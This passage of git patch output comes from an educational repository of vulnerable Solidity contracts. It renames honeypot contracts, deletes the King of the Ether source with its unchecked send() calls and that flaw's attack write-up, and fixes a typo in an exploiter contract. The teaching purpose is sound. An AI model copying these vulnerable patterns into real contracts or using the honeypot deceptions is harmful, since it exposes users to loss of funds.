[Integer Overflow](integer_overflow) | Arithmetic in Solidity (or EVM) is not safe by default | | [Race Condition](race_condition) | Transactions can be frontrun on the blockchain | | [Reentrancy](reentrancy) | Calling external contracts gives them control over execution | | [rtlo](rtlo) | Usage of malicious unicode character. | -| [Suicidal](suicidal) | Contract that can be destructed by anyone. | | [Tautology](tautology) | Usage of always boolean expressions that are always true. | -| [Unchecked External Call](unchecked_external_call) | Some Solidity operations silently fail | -| [Uninitialized State Variables](uninitialized-state-variables) | State variables that are used before being initialized. | -| [Uninitialized Storage Variables](uninitialized-storage-variables) | Storage variables that are used before being initialized. | | [Unprotected Function](unprotected_function) | Failure to use function modifier allows attacker to manipulate contract | | [Unused Return Value ](unused-return) | Return values from calls that is not used. | -| [Variable Shadowing](variable%20shadowing/) | Local variable name is identical to one in outer scope | -| [Wrong Constructor Name](wrong_constructor_name) | Anyone can become owner of contract due to missing constructor | ## Credits diff --git a/not-so-smart-contracts/solidity/honeypots/GiftBox.sol b/not-so-smart-contracts/solidity/honeypots/GiftBox.sol index e0dcbceb..dc1fdb49 100644 --- a/not-so-smart-contracts/solidity/honeypots/GiftBox.sol +++ b/not-so-smart-contracts/solidity/honeypots/GiftBox.sol @@ -1,6 +1,6 @@ pragma solidity ^0.8.17; -contract NewYearsGift { +contract GiftBox { string private message; bool public passHasBeenSet = false; address public sender; diff --git a/not-so-smart-contracts/solidity/honeypots/KOTH.sol b/not-so-smart-contracts/solidity/honeypots/KingOfTheKill.sol similarity index 96% rename from not-so-smart-contracts/solidity/honeypots/KOTH.sol rename to not-so-smart-contracts/solidity/honeypots/KingOfTheKill.sol index 8b4f28dd..8d1ed373 100644 --- a/not-so-smart-contracts/solidity/honeypots/KOTH.sol +++ b/not-so-smart-contracts/solidity/honeypots/KingOfTheKill.sol @@ -17,7 +17,7 @@ contract Ownable { // CEO Throne .. The CEO with the highest stake gets the control over the contract // msg.value needs to be higher than largestStake when calling stake() -contract CEOThrone is Ownable { +contract KingOfTheKill is Ownable { address public owner; uint public largestStake; diff --git a/not-so-smart-contracts/solidity/honeypots/Lottery.sol b/not-so-smart-contracts/solidity/honeypots/Lottery.sol index a9f1e04a..2de58d52 100644 --- a/not-so-smart-contracts/solidity/honeypots/Lottery.sol +++ b/not-so-smart-contracts/solidity/honeypots/Lottery.sol @@ -1,3 +1,5 @@ +pragma solidity ^0.4.26; + /* * This is a distributed lottery that chooses random addresses as lucky addresses. If these * participate, they get the jackpot: 7 times the price of their bet. diff --git a/not-so-smart-contracts/solidity/honeypots/PrivateBank.sol b/not-so-smart-contracts/solidity/honeypots/PrivateBank.sol index 67b5a227..68a2b3c0 100644 --- a/not-so-smart-contracts/solidity/honeypots/PrivateBank.sol +++ b/not-so-smart-contracts/solidity/honeypots/PrivateBank.sol @@ -1,4 +1,4 @@ -pragma solidity ^0.4.19; +pragma solidity ^0.4.26; contract Log { struct Message { diff --git a/not-so-smart-contracts/solidity/honeypots/README.md b/not-so-smart-contracts/solidity/honeypots/README.md index 7743e439..c2549644 100644 --- a/not-so-smart-contracts/solidity/honeypots/README.md +++ b/not-so-smart-contracts/solidity/honeypots/README.md @@ -10,14 +10,12 @@ Versions of the most recent compilers will emit warnings of most of these traps Etherscan typically shows two transactions for a `GiftBox`-style honeypot. The first transaction is the contract creation, and the second is a call to a `setPassword` function that appears to set a "secret" `password` value. The secret can, of course, be easily observed on the blockchain, so the victim is tricked into submitting Ether with the correct value. -[Beware Of Eth Gifting Contracts Etherscan](https://www.blockchainsemantics.com/blog/beware-of-eth-gifting-contracts-etherscan/) -
Trap Spoiler Unbeknownst to the victim, the contract owner has already changed the stored hash of the secret, using an internal transaction with 0 value. Etherscan does not clearly display these 0 value internal transactions. The GiftBox owner might also be monitoring the mempool & would be prepared to front-run any withdrawals that submit the correct password;
-## [King of the Hill](KOTH.sol) +## [King of the Hill](KingOfTheKill.sol) At first glance this contract appears to be your average King of the Hill ponzi scheme. Participants contribute ether to the contract via the `stake()` function that keeps track of the latest `owner` and ether deposit that allowed them to become to the current owner. The `withdraw()` function employs an `onlyOwner` modifier, seemingly allowing only the last person recently throned the ability to transfer all funds out of the contract. Stumbling upon this contract on etherscan and seeing an existing balance, one might think that there is a chance to gain some easy ether by taking advantage of a quick `stake()` claim and subsequent `withdraw()`. diff --git a/not-so-smart-contracts/solidity/honeypots/VarLoop.sol b/not-so-smart-contracts/solidity/honeypots/VarLoop.sol index 46c03412..4b9139b5 100644 --- a/not-so-smart-contracts/solidity/honeypots/VarLoop.sol +++ b/not-so-smart-contracts/solidity/honeypots/VarLoop.sol @@ -1,4 +1,4 @@ -pragma solidity ^0.4.18; +pragma solidity ^0.4.26; contract Test1 { address public owner = msg.sender; diff --git a/not-so-smart-contracts/solidity/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol b/not-so-smart-contracts/solidity/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol deleted file mode 100644 index 4b91e1ce..00000000 --- a/not-so-smart-contracts/solidity/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol +++ /dev/null @@ -1,170 +0,0 @@ -// A chain-game contract that maintains a 'throne' which agents may pay to rule. -// See www.kingoftheether.com & https://github.com/kieranelby/KingOfTheEtherThrone . -// (c) Kieran Elby 2016. All rights reserved. -// v0.4.0. -// Inspired by ethereumpyramid.com and the (now-gone?) "magnificent bitcoin gem". - -// This contract lives on the blockchain at 0xb336a86e2feb1e87a328fcb7dd4d04de3df254d0 -// and was compiled (using optimization) with: -// Solidity version: 0.2.1-fad2d4df/.-Emscripten/clang/int linked to libethereum - -// For future versions it would be nice to ... -// TODO - enforce time-limit on reign (can contracts do that without external action)? -// TODO - add a random reset? -// TODO - add bitcoin bridge so agents can pay in bitcoin? -// TODO - maybe allow different return payment address? -pragma solidity ^0.4.19; - -contract KingOfTheEtherThrone { - - struct Monarch { - // Address to which their compensation will be sent. - address etherAddress; - // A name by which they wish to be known. - // NB: Unfortunately "string" seems to expose some bugs in web3. - string name; - // How much did they pay to become monarch? - uint claimPrice; - // When did their rule start (based on block.timestamp)? - uint coronationTimestamp; - } - - // The wizard is the hidden power behind the throne; they - // occupy the throne during gaps in succession and collect fees. - address wizardAddress; - - // Used to ensure only the wizard can do some things. - modifier onlywizard { if (msg.sender == wizardAddress) _; } - - // How much must the first monarch pay? - uint constant startingClaimPrice = 100 finney; - - // The next claimPrice is calculated from the previous claimFee - // by multiplying by claimFeeAdjustNum and dividing by claimFeeAdjustDen - - // for example, num=3 and den=2 would cause a 50% increase. - uint constant claimPriceAdjustNum = 3; - uint constant claimPriceAdjustDen = 2; - - // How much of each claimFee goes to the wizard (expressed as a fraction)? - // e.g. num=1 and den=100 would deduct 1% for the wizard, leaving 99% as - // the compensation fee for the usurped monarch. - uint constant wizardCommissionFractionNum = 1; - uint constant wizardCommissionFractionDen = 100; - - // How much must an agent pay now to become the monarch? - uint public currentClaimPrice; - - // The King (or Queen) of the Ether. - Monarch public currentMonarch; - - // Earliest-first list of previous throne holders. - Monarch[] public pastMonarchs; - - // Create a new throne, with the creator as wizard and first ruler. - // Sets up some hopefully sensible defaults. - function KingOfTheEtherThrone() { - wizardAddress = msg.sender; - currentClaimPrice = startingClaimPrice; - currentMonarch = Monarch( - wizardAddress, - "[Vacant]", - 0, - block.timestamp - ); - } - - function numberOfMonarchs() constant returns (uint n) { - return pastMonarchs.length; - } - - // Fired when the throne is claimed. - // In theory can be used to help build a front-end. - event ThroneClaimed( - address usurperEtherAddress, - string usurperName, - uint newClaimPrice - ); - - // Fallback function - simple transactions trigger this. - // Assume the message data is their desired name. - function() { - claimThrone(string(msg.data)); - } - - // Claim the throne for the given name by paying the currentClaimFee. - function claimThrone(string name) { - - uint valuePaid = msg.value; - - // If they paid too little, reject claim and refund their money. - if (valuePaid < currentClaimPrice) { - msg.sender.send(valuePaid); - return; - } - - // If they paid too much, continue with claim but refund the excess. - if (valuePaid > currentClaimPrice) { - uint excessPaid = valuePaid - currentClaimPrice; - msg.sender.send(excessPaid); - valuePaid = valuePaid - excessPaid; - } - - // The claim price payment goes to the current monarch as compensation - // (with a commission held back for the wizard). We let the wizard's - // payments accumulate to avoid wasting gas sending small fees. - - uint wizardCommission = (valuePaid * wizardCommissionFractionNum) / wizardCommissionFractionDen; - - uint compensation = valuePaid - wizardCommission; - - if (currentMonarch.etherAddress != wizardAddress) { - currentMonarch.etherAddress.send(compensation); - } else { - // When the throne is vacant, the fee accumulates for the wizard. - } - - // Usurp the current monarch, replacing them with the new one. - pastMonarchs.push(currentMonarch); - currentMonarch = Monarch( - msg.sender, - name, - valuePaid, - block.timestamp - ); - - // Increase the claim fee for next time. - // Stop number of trailing decimals getting silly - we round it a bit. - uint rawNewClaimPrice = currentClaimPrice * claimPriceAdjustNum / claimPriceAdjustDen; - if (rawNewClaimPrice < 10 finney) { - currentClaimPrice = rawNewClaimPrice; - } else if (rawNewClaimPrice < 100 finney) { - currentClaimPrice = 100 szabo * (rawNewClaimPrice / 100 szabo); - } else if (rawNewClaimPrice < 1 ether) { - currentClaimPrice = 1 finney * (rawNewClaimPrice / 1 finney); - } else if (rawNewClaimPrice < 10 ether) { - currentClaimPrice = 10 finney * (rawNewClaimPrice / 10 finney); - } else if (rawNewClaimPrice < 100 ether) { - currentClaimPrice = 100 finney * (rawNewClaimPrice / 100 finney); - } else if (rawNewClaimPrice < 1000 ether) { - currentClaimPrice = 1 ether * (rawNewClaimPrice / 1 ether); - } else if (rawNewClaimPrice < 10000 ether) { - currentClaimPrice = 10 ether * (rawNewClaimPrice / 10 ether); - } else { - currentClaimPrice = rawNewClaimPrice; - } - - // Hail the new monarch! - ThroneClaimed(currentMonarch.etherAddress, currentMonarch.name, currentClaimPrice); - } - - // Used only by the wizard to collect his commission. - function sweepCommission(uint amount) onlywizard { - wizardAddress.send(amount); - } - - // Used only by the wizard to collect his commission. - function transferOwnership(address newOwner) onlywizard { - wizardAddress = newOwner; - } - -} diff --git a/not-so-smart-contracts/solidity/unchecked_external_call/README.md b/not-so-smart-contracts/solidity/unchecked_external_call/README.md deleted file mode 100644 index e74c9591..00000000 --- a/not-so-smart-contracts/solidity/unchecked_external_call/README.md +++ /dev/null @@ -1,30 +0,0 @@ -# Unchecked External Call - -Certain Solidity operations known as "external calls", require the developer to manually ensure that the operation succeeded. This is in contrast to operations which throw an exception on failure. If an external call fails, but is not checked, the contract will continue execution as if the call succeeded. This will likely result in buggy and potentially exploitable behavior from the contract. - -## Attack - -- A contract uses an unchecked `address.send()` external call to transfer Ether. -- If it transfers Ether to an attacker contract, the attacker contract can reliably cause the external call to fail, for example, with a fallback function which intentionally runs out of gas. -- The consequences of this external call failing will be contract specific. - - In the case of the King of the Ether contract, this resulted in accidental loss of Ether for some contract users, due to refunds not being sent. - -## Mitigation - -- Manually perform validation when making external calls -- Use `address.transfer()` - -## Example - -- [King of the Ether](https://www.kingoftheether.com/postmortem.html) (line numbers: - [100](KotET_source_code/KingOfTheEtherThrone.sol#L100), - [107](KotET_source_code/KingOfTheEtherThrone.sol#L107), - [120](KotET_source_code/KingOfTheEtherThrone.sol#L120), - [161](KotET_source_code/KingOfTheEtherThrone.sol#L161)) - -## References - -- http://solidity.readthedocs.io/en/develop/security-considerations.html -- http://solidity.readthedocs.io/en/develop/types.html#members-of-addresses -- https://github.com/ConsenSys/smart-contract-best-practices#handle-errors-in-external-calls -- https://vessenes.com/ethereum-griefing-wallets-send-w-throw-considered-harmful/ From 6ca3a111e3947673149308bc54fc7f7421de51f9 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 4 Oct 2022 17:08:39 -0400 Subject: [PATCH 73/73] fix typo --- not-so-smart-contracts/solidity/honeypots/README.md | 2 +- .../solidity/reentrancy/ReentrancyExploiter.sol | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/not-so-smart-contracts/solidity/honeypots/README.md b/not-so-smart-contracts/solidity/honeypots/README.md index c2549644..1a6ef7f6 100644 --- a/not-so-smart-contracts/solidity/honeypots/README.md +++ b/not-so-smart-contracts/solidity/honeypots/README.md @@ -12,7 +12,7 @@ Etherscan typically shows two transactions for a `GiftBox`-style honeypot. The f
Trap Spoiler - Unbeknownst to the victim, the contract owner has already changed the stored hash of the secret, using an internal transaction with 0 value. Etherscan does not clearly display these 0 value internal transactions. The GiftBox owner might also be monitoring the mempool & would be prepared to front-run any withdrawals that submit the correct password; + Unbeknownst to the victim, the contract owner has already changed the stored hash of the secret, using an internal transaction with 0 value. Etherscan does not clearly display these 0 value internal transactions. The GiftBox owner might also be monitoring the mempool & would be prepared to front-run any withdrawals that submit the correct password.
## [King of the Hill](KingOfTheKill.sol) diff --git a/not-so-smart-contracts/solidity/reentrancy/ReentrancyExploiter.sol b/not-so-smart-contracts/solidity/reentrancy/ReentrancyExploiter.sol index 31f9e98c..2bcddbdc 100644 --- a/not-so-smart-contracts/solidity/reentrancy/ReentrancyExploiter.sol +++ b/not-so-smart-contracts/solidity/reentrancy/ReentrancyExploiter.sol @@ -1,6 +1,6 @@ pragma solidity ^0.8.17; -contract ReentranceExploiter { +contract ReentrancyExploiter { bool public attackModeIsOn=false; address public vulnerableContract; address public owner;